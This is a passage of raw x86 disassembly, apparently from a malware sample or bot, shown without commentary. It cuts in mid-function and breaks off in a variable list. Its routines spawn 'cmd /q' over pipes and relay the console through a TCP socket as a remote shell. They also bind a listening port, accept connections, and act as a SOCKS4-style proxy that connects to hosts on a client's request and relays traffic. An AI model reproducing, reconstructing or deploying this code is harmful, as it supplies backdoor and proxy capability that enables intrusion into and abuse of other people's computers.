		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		xor	eax, eax
		jmp	loc_410363
; ---------------------------------------------------------------------------


loc_410283:				; CODE XREF: sub_410214+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4105D9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_4102C4
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_438DF8
		call	sub_413FAE
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	dword_4240AC	; TerminateThread
		xor	eax, eax
		jmp	loc_410364
; ---------------------------------------------------------------------------


loc_4102C4:				; CODE XREF: sub_410214+86j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	dword_424128	; WaitForMultipleObjects
		sub	eax, ebx
		jz	short loc_41031E
		dec	eax
		jz	short loc_410318
		dec	eax
		jz	short loc_410304
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_438DC0
		call	sub_413FAE
		pop	ecx
		pop	ecx
		jmp	short loc_410333
; ---------------------------------------------------------------------------


loc_410304:				; CODE XREF: sub_410214+D9j
		mov	edi, dword_4240AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi	; TerminateThread
		push	ebx
		push	dword ptr [esi+10h]
		call	edi	; TerminateThread
		jmp	short loc_410333
; ---------------------------------------------------------------------------


loc_410318:				; CODE XREF: sub_410214+D6j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410322
; ---------------------------------------------------------------------------


loc_41031E:				; CODE XREF: sub_410214+D3j
		push	ebx
		push	dword ptr [esi+14h]


loc_410322:				; CODE XREF: sub_410214+108j
		call	dword_4240AC	; TerminateThread
		push	1
		push	dword ptr [esi+8]
		call	dword_4240F4	; TerminateProcess


loc_410333:				; CODE XREF: sub_410214+EEj
					; sub_410214+102j
		push	dword ptr [esi+10h]
		mov	edi, dword_424068
		call	edi	; CloseHandle
		push	dword ptr [esi+14h]
		call	edi	; CloseHandle
		push	dword ptr [esi+8]
		call	edi	; CloseHandle
		push	dword ptr [esi]
		call	edi	; CloseHandle
		push	dword ptr [esi+4]
		call	edi	; CloseHandle
		push	dword ptr [esi+0Ch]
		call	dword_4CDF78	; closesocket
		push	esi
		call	sub_417E11
		xor	eax, eax
		inc	eax


loc_410363:				; CODE XREF: sub_410214+6Aj
		pop	ecx


loc_410364:				; CODE XREF: sub_410214+ABj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410214	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410369	proc near		; CODE XREF: sub_410214+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_418235
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410453
		mov	ebx, dword_424100
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx	; CreatePipe
		mov	edi, dword_424068
		test	eax, eax
		jnz	short loc_4103CC
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_438EA8
		jmp	short loc_4103EC
; ---------------------------------------------------------------------------


loc_4103CC:				; CODE XREF: sub_410369+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx	; CreatePipe
		test	eax, eax
		jnz	short loc_4103F4
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_438E68


loc_4103EC:				; CODE XREF: sub_410369+61j
		call	sub_413FAE
		pop	ecx
		jmp	short loc_410422
; ---------------------------------------------------------------------------


loc_4103F4:				; CODE XREF: sub_410369+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410462
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi	; CloseHandle
		push	[ebp+var_8]
		call	edi	; CloseHandle
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410457
		push	offset unk_438E40
		call	sub_413F3A


loc_410422:				; CODE XREF: sub_410369+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_41042E
		push	[ebp+var_4]
		call	edi	; CloseHandle


loc_41042E:				; CODE XREF: sub_410369+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410439
		push	[ebp+var_8]
		call	edi	; CloseHandle


loc_410439:				; CODE XREF: sub_410369+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410442
		push	eax
		call	edi	; CloseHandle


loc_410442:				; CODE XREF: sub_410369+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41044C
		push	eax
		call	edi	; CloseHandle


loc_41044C:				; CODE XREF: sub_410369+DEj
		push	esi
		call	sub_417E11
		pop	ecx


loc_410453:				; CODE XREF: sub_410369+1Dj
		xor	eax, eax
		jmp	short loc_41045D
; ---------------------------------------------------------------------------


loc_410457:				; CODE XREF: sub_410369+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_41045D:				; CODE XREF: sub_410369+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410369	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410462	proc near		; CODE XREF: sub_410369+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_4182F0
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_4182F0
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4240FC
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_4240F8	; DuplicateHandle
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	dword_42406C	; CreateProcessA
		test	eax, eax
		jz	short loc_41051E
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_440E40[eax], ecx
		call	dword_424068	; CloseHandle
		jmp	short loc_410534
; ---------------------------------------------------------------------------


loc_41051E:				; CODE XREF: sub_410462+9Aj
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_438EE8
		call	sub_413FAE
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_410534:				; CODE XREF: sub_410462+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410462	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41053B	proc near		; DATA XREF: sub_410214+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		mov	ebx, dword_4240E8
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		jmp	short loc_41059E
; ---------------------------------------------------------------------------


loc_410552:				; CODE XREF: sub_41053B+7Bj
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_410587


loc_41055D:				; CODE XREF: sub_41053B+4Aj
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_410577
		cmp	dl, 0Dh
		jz	short loc_410577
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_410577:				; CODE XREF: sub_41053B+2Cj
					; sub_41053B+31j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_41055D


loc_410587:				; CODE XREF: sub_41053B+20j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CDF30	; send
		test	eax, eax
		jle	short loc_4105B8


loc_41059E:				; CODE XREF: sub_41053B+15j
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		call	ebx	; ReadFile
		test	eax, eax
		jnz	short loc_410552


loc_4105B8:				; CODE XREF: sub_41053B+61j
		mov	esi, dword_42408C
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_4105D4
		call	esi	; RtlGetLastWin32Error
		push	eax
		push	offset unk_438F28
		call	sub_413FAE
		pop	ecx
		pop	ecx


loc_4105D4:				; CODE XREF: sub_41053B+88j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41053B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105D9	proc near		; DATA XREF: sub_410214+75o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		jmp	loc_4106D2
; ---------------------------------------------------------------------------


loc_4105F4:				; CODE XREF: sub_4105D9+10Ej
		cmp	[ebp+var_10], ebx
		jbe	short loc_410601
		dec	[ebp+var_10]
		jmp	loc_4106D5
; ---------------------------------------------------------------------------


loc_410601:				; CODE XREF: sub_4105D9+1Ej
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4106BD
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_410671
		cmp	al, 7Fh
		jz	short loc_410671
		cmp	al, 3
		jnz	short loc_41062C
		push	ebx
		push	ebx
		call	dword_42412C	; GenerateConsoleCtrlEvent
		jmp	short loc_410698
; ---------------------------------------------------------------------------


loc_41062C:				; CODE XREF: sub_4105D9+47j
		cmp	al, 15h
		jnz	short loc_41064E
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_410684
; ---------------------------------------------------------------------------


loc_41064E:				; CODE XREF: sub_4105D9+55j
		xor	ecx, ecx
		mov	[ebp+esi+var_DC], al
		inc	esi
		inc	ecx
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		jnz	short loc_410685
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_410684
; ---------------------------------------------------------------------------


loc_410671:				; CODE XREF: sub_4105D9+3Fj
					; sub_4105D9+43j
		cmp	esi, ebx
		jbe	short loc_41069B
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_410684:				; CODE XREF: sub_4105D9+73j
					; sub_4105D9+96j
		pop	ecx


loc_410685:				; CODE XREF: sub_4105D9+85j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CDF30	; send
		test	eax, eax
		jle	short loc_4106ED


loc_410698:				; CODE XREF: sub_4105D9+51j
		mov	al, byte ptr [ebp+arg_0+3]


loc_41069B:				; CODE XREF: sub_4105D9+9Aj
		cmp	al, 0Dh
		jnz	short loc_4106D5
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	dword_4240E0	; WriteFile
		test	eax, eax
		jz	short loc_4106ED
		xor	esi, esi
		jmp	short loc_4106D5
; ---------------------------------------------------------------------------


loc_4106BD:				; CODE XREF: sub_4105D9+34j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4106CB
		mov	[ebp+var_C], 1
		jmp	short loc_4106D5
; ---------------------------------------------------------------------------


loc_4106CB:				; CODE XREF: sub_4105D9+E7j
		mov	[ebp+var_10], 0Ah


loc_4106D2:				; CODE XREF: sub_4105D9+16j
		mov	[ebp+var_C], ebx


loc_4106D5:				; CODE XREF: sub_4105D9+23j
					; sub_4105D9+C4j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CDEFC	; recv
		test	eax, eax
		jg	loc_4105F4


loc_4106ED:				; CODE XREF: sub_4105D9+BDj
					; sub_4105D9+DEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4105D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4106F2	proc near		; DATA XREF: sub_401AA1+2773o

var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		xor	edi, edi
		xor	esi, esi
		inc	edi
		push	ebx
		mov	[eax+0A8h], edi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_4CDEE4	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	dword_4CDF60	; socket
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_440E44[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_4CDF10	; bind
		test	eax, eax
		jnz	loc_410893
		push	0Ah
		push	edi
		call	dword_4CDF0C	; listen
		test	eax, eax
		jnz	loc_410893
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_409C7B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_42F0C0
		push	eax
		call	sub_4185E6
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_4107CD
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_408BC1
		add	esp, 14h


loc_4107CD:				; CODE XREF: sub_4106F2+B9j
					; sub_4106F2+18Aj ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_413F3A
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CDF74	; accept
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_4CDF6C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_438FD8
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	19h
		push	eax
		call	sub_40A130
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_440E3C[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_4108F6
		push	esi
		push	esi
		call	dword_42407C	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_440E4C[ecx], eax
		jnz	short loc_410889
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_438F98
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		jmp	loc_4107CD
; ---------------------------------------------------------------------------


loc_410881:				; CODE XREF: sub_4106F2+19Aj
		push	5
		call	dword_424078	; Sleep


loc_410889:				; CODE XREF: sub_4106F2+16Dj
		cmp	[ebp+var_28], esi
		jz	short loc_410881
		jmp	loc_4107CD
; ---------------------------------------------------------------------------


loc_410893:				; CODE XREF: sub_4106F2+7Bj
					; sub_4106F2+8Cj
		push	edi
		call	dword_4CDF78	; closesocket
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset dword_438F64
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4108D6
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_408BC1
		add	esp, 14h


loc_4108D6:				; CODE XREF: sub_4106F2+1C2j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_413F3A
		push	[ebp+var_3C]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4240CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_4106F2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4108F6	proc near		; DATA XREF: sub_4106F2+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		xor	edi, edi
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		inc	edi
		lea	esi, dword_440E44[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_4CDECC	; select
		test	eax, eax
		jnz	short loc_410977
		push	dword ptr [esi]
		call	dword_4CDF78	; closesocket
		push	[ebp+arg_0]
		call	sub_40A446
		pop	ecx
		push	ebx
		call	dword_4240CC	; ExitThread


loc_410977:				; CODE XREF: sub_4108F6+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_4CDEFC	; recv
		test	eax, eax
		jg	short loc_4109A8
		push	dword ptr [esi]
		call	dword_4CDF78	; closesocket
		push	[ebp+arg_0]
		call	sub_40A446
		pop	ecx
		push	ebx
		call	dword_4240CC	; ExitThread


loc_4109A8:				; CODE XREF: sub_4108F6+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_410BA2
		cmp	[ebp+var_4CF], 1
		jnz	loc_410BA2
		cmp	[ebp+var_44], bl
		jz	short loc_410A3E
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A3E
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset dword_4390A4
		call	sub_413FAE
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_4182F0
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CDF30	; send
		push	dword ptr [esi]
		call	dword_4CDF78	; closesocket
		push	[ebp+arg_0]
		call	sub_40A446
		pop	ecx
		push	ebx
		call	dword_4240CC	; ExitThread


loc_410A3E:				; CODE XREF: sub_4108F6+CFj
					; sub_4108F6+E5j
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_4182F0
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_4CDF60	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_410AD6
		call	dword_4CDE80	; WSAGetLastError
		push	eax
		push	offset dword_439064
		call	sub_413FAE
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_4182F0
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CDF30	; send
		push	dword ptr [esi]
		call	dword_4CDF78	; closesocket
		push	[ebp+arg_0]
		call	sub_40A446
		pop	ecx
		push	ebx
		call	dword_4240CC	; ExitThread


loc_410AD6:				; CODE XREF: sub_4108F6+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_4CDE90	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410B45
		call	dword_4CDE80	; WSAGetLastError
		push	eax
		push	offset dword_439020
		call	sub_413FAE
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_4182F0
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CDF30	; send
		push	dword ptr [esi]
		call	dword_4CDF78	; closesocket
		push	[ebp+arg_0]
		call	sub_40A446
		pop	ecx
		push	ebx
		call	dword_4240CC	; ExitThread


loc_410B45:				; CODE XREF: sub_4108F6+1F0j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CDF30	; send
		push	dword ptr [esi]
		push	edi
		call	sub_410BBA
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CDF78	; closesocket
		push	dword ptr [esi]
		call	dword_4CDF78	; closesocket
		push	[ebp+arg_0]
		call	sub_40A446
		pop	ecx
		push	ebx
		call	dword_4240CC	; ExitThread


loc_410BA2:				; CODE XREF: sub_4108F6+B9j
					; sub_4108F6+C6j
		push	dword ptr [esi]
		call	dword_4CDF78	; closesocket
		push	[ebp+arg_0]
		call	sub_40A446
		pop	ecx
		push	ebx
		call	dword_4240CC	; ExitThread
sub_4108F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410BBA	proc near		; CODE XREF: sub_4108F6+286p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_410BD0:				; CODE XREF: sub_410BBA+BEj
					; sub_410BBA+EEj
		xor	ecx, ecx
		mov	[ebp+var_100], ebx
		inc	ecx
		xor	eax, eax
		mov	[ebp+var_104], ecx


loc_410BE1:				; CODE XREF: sub_410BBA+36j
		mov	edx, [ebp+arg_0]
		cmp	[ebp+eax*4+var_100], edx
		jz	short loc_410BF2
		inc	eax
		cmp	eax, ecx
		jb	short loc_410BE1


loc_410BF2:				; CODE XREF: sub_410BBA+31j
		cmp	eax, ecx
		jnz	short loc_410C06
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_410C06:				; CODE XREF: sub_410BBA+3Aj
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CDECC	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_4CDDE0	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_410C66
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_4CDEFC	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410CAE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDF30	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410CAE


loc_410C66:				; CODE XREF: sub_410BBA+7Ej
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDDE0	; __WSAFDIsSet
		test	eax, eax
		jz	loc_410BD0
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDEFC	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410CAE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_4CDF30	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_410BD0


loc_410CAE:				; CODE XREF: sub_410BBA+93j
					; sub_410BBA+AAj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CB3	proc near		; CODE XREF: sub_410CB3:loc_41111Ep
					; DATA XREF: sub_401AA1+1C02o ...

var_87C		= dword	ptr -87Ch
var_878		= dword	ptr -878h
var_778		= byte ptr -778h
var_578		= byte ptr -578h
var_577		= byte ptr -577h
var_576		= byte ptr -576h
var_575		= byte ptr -575h
var_574		= byte ptr -574h
var_374		= dword	ptr -374h
var_370		= byte ptr -370h
var_26C		= byte ptr -26Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= byte ptr -15Ch
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D0		= byte ptr -0D0h
var_CF		= byte ptr -0CFh
var_CE		= byte ptr -0CEh
var_CD		= byte ptr -0CDh
var_50		= byte ptr -50h
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
